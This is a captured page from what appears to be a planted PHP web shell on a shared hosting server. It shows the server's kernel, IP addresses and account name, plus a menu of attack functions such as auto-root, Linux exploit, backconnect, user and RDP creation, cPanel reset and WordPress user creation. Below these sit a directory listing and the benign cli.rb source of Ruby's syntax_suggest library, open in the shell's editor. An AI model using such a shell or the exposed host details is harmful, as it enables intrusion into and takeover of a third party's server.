Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby32 /
share /
ruby /
syntax_suggest /
[ HOME SHELL ]
Name
Size
Permission
Action
capture
[ DIR ]
drwxr-xr-x
api.rb
5.16
KB
-rw-r--r--
around_block_scan.rb
6.9
KB
-rw-r--r--
block_expand.rb
4.87
KB
-rw-r--r--
capture_code_context.rb
6.67
KB
-rw-r--r--
clean_document.rb
8.74
KB
-rw-r--r--
cli.rb
3.12
KB
-rw-r--r--
code_block.rb
2.13
KB
-rw-r--r--
code_frontier.rb
5.62
KB
-rw-r--r--
code_line.rb
6.46
KB
-rw-r--r--
code_search.rb
3.82
KB
-rw-r--r--
core_ext.rb
3
KB
-rw-r--r--
display_code_with_line_numbers...
1.77
KB
-rw-r--r--
display_invalid_blocks.rb
1.75
KB
-rw-r--r--
explain_syntax.rb
2.41
KB
-rw-r--r--
left_right_lex_count.rb
4.06
KB
-rw-r--r--
lex_all.rb
1.12
KB
-rw-r--r--
lex_value.rb
1.5
KB
-rw-r--r--
parse_blocks_from_indent_line....
1.5
KB
-rw-r--r--
pathname_from_message.rb
1.42
KB
-rw-r--r--
priority_engulf_queue.rb
1.26
KB
-rw-r--r--
priority_queue.rb
2
KB
-rw-r--r--
ripper_errors.rb
837
B
-rw-r--r--
scan_history.rb
2.92
KB
-rw-r--r--
unvisited_lines.rb
705
B
-rw-r--r--
version.rb
76
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cli.rb
# frozen_string_literal: true require "pathname" require "optparse" module SyntaxSuggest # All the logic of the exe/syntax_suggest CLI in one handy spot # # Cli.new(argv: ["--help"]).call # Cli.new(argv: ["<path/to/file>.rb"]).call # Cli.new(argv: ["<path/to/file>.rb", "--record=tmp"]).call # Cli.new(argv: ["<path/to/file>.rb", "--terminal"]).call # class Cli attr_accessor :options # ARGV is Everything passed to the executable, does not include executable name # # All other intputs are dependency injection for testing def initialize(argv:, exit_obj: Kernel, io: $stdout, env: ENV) @options = {} @parser = nil options[:record_dir] = env["SYNTAX_SUGGEST_RECORD_DIR"] options[:record_dir] = "tmp" if env["DEBUG"] options[:terminal] = SyntaxSuggest::DEFAULT_VALUE @io = io @argv = argv @exit_obj = exit_obj end def call if @argv.empty? # Display help if raw command parser.parse! %w[--help] return else # Mutates @argv parse return if options[:exit] end file_name = @argv.first if file_name.nil? @io.puts "No file given" @exit_obj.exit(1) return end file = Pathname(file_name) if !file.exist? @io.puts "file not found: #{file.expand_path} " @exit_obj.exit(1) return end @io.puts "Record dir: #{options[:record_dir]}" if options[:record_dir] display = SyntaxSuggest.call( io: @io, source: file.read, filename: file.expand_path, terminal: options.fetch(:terminal, SyntaxSuggest::DEFAULT_VALUE), record_dir: options[:record_dir] ) if display.document_ok? @io.puts "Syntax OK" @exit_obj.exit(0) else @exit_obj.exit(1) end end def parse parser.parse!(@argv) self end def parser @parser ||= OptionParser.new do |opts| opts.banner = <<~EOM Usage: syntax_suggest <file> [options] Parses a ruby source file and searches for syntax error(s) such as unexpected `end', expecting end-of-input. Example: $ syntax_suggest dog.rb # ... > 10 defdog > 15 end ENV options: SYNTAX_SUGGEST_RECORD_DIR=<dir> Records the steps used to search for a syntax error to the given directory Options: EOM opts.version = SyntaxSuggest::VERSION opts.on("--help", "Help - displays this message") do |v| @io.puts opts options[:exit] = true @exit_obj.exit end opts.on("--record <dir>", "Records the steps used to search for a syntax error to the given directory") do |v| options[:record_dir] = v end opts.on("--terminal", "Enable terminal highlighting") do |v| options[:terminal] = true end opts.on("--no-terminal", "Disable terminal highlighting") do |v| options[:terminal] = false end end end end end
Close